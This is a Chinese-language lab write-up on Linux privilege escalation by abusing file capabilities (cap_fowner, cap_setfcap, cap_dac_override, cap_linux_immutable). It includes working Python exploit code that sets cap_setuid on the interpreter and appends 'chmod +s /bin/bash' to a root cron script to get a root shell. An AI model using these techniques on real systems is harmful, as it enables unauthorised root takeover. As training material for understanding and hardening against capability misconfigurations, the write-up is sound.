在本实验中,发现 python
解释器在有效集和允许集上都具有“cap_fowner
”能力
当程序以cap_fowner
能力来运行,除了涉及cap_dac_read_search
和 cap_dac_override
能力的操作外,它可以绕过任何操作关于当前id和文件属主id的权限检查。涉及的系统调用有chmod
和utime
。
如果任何可以调用 chmod
系统调用的程序具有此能力,则可能导致直接权限提升。只需要做的就是在 /etc/passwd
文件上设置读写权限
现在文件是全局可写的,可以使用当前用户使用 vim
在 /etc/passwd
文件中更改根用户的密码。稍后su -l root
在本实验中,发现 python
解释器在有效集和允许集都具有“cap_setfcap
”能力
当有效集有cap_setfcap
能力的程序运行,可以对任何文件设置任何能力。这可以接管整个系统,因为使用它可以对一个调用了setuid
的程序设置cap_setuid
能力,从而获得一个特权shell
exploit.py
:
import ctypes, sys#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
在这种情况下,将在 python
解释器上设置此能力。libc
中的 cap_set_file
函数只接受实际文件的路径。因此,如果提供符号链接的路径,它将引发错误
由于 python
二进制文件现在具有 cap_setuid 能力,可以执行 os.setuid
函数并生成 root
用户 shell
和读取保护文件
在上一篇,已经详细讨论了 cap_dac_override
能力。它允许对任何文件执行读/写操作和目录的执行权限。在本实验中,发现了一个具有此能力的有趣程序。
这个程序是一个链接器——x86_64-linux-gnu-ld.bfd
可以通过欺骗链接器,让它认为输入文件是编译器的二进制输出,从而读取文件内容。
上述命令的解释如下
-r
生成可重新分配的输出,否则,链接器将无法找到 _start
部分。这个标志是可选的-b binary
告诉链接器将输入文件视为汇编器的二进制输出。这是必需的,如果省略它,链接器会将输入文件视为脚本/root/flag
输入文件-o flag.o
输出文件在本实验中,发现 python
解释器在有效集和特权集中都具有 cap_linux_immutable
能力
通常,当前用户拥有的或全局可写的所有文件都可以被用户删除或修改。但在某些情况下,为防止文件被意外删除,建议将该文件设为不可变。这意味着即使拥有一个文件,也不能删除它或更新它的内容,但可以毫无问题地读取该文件。要设置或取消设置此标志,需要通过 root
用户运行 chattr
命令。
但是,如果有效集有 cap_linux_immutable
能力的程序运行,可以修改不可变文件的内容
看到有一个名为 backup.sh
的文件,并且在定时任务 中以 root
身份每分钟运行一次。
无法直接更新文件内容,因为文件是不可变的, 而且好像无法取消不可变设置。
由于 python
具有更改不可变文件内容的文件能力,因此编写如下代码
import fcntl
import os
import structFS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/home/student/backup.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/home/student/backup.sh",'a+')
f.write('chmod +s /bin/bash\n')
f.close()
这将在 /bin/bash
文件上设置 suid
位,使用 /bin/bash -p
标志获得特权 shell
在 /home/student/backup.sh
上运行漏洞利用代码后,能够在 backup.sh
文件中附加恶意代码
当定时任务下一分钟执行时,就可以拿到shell
了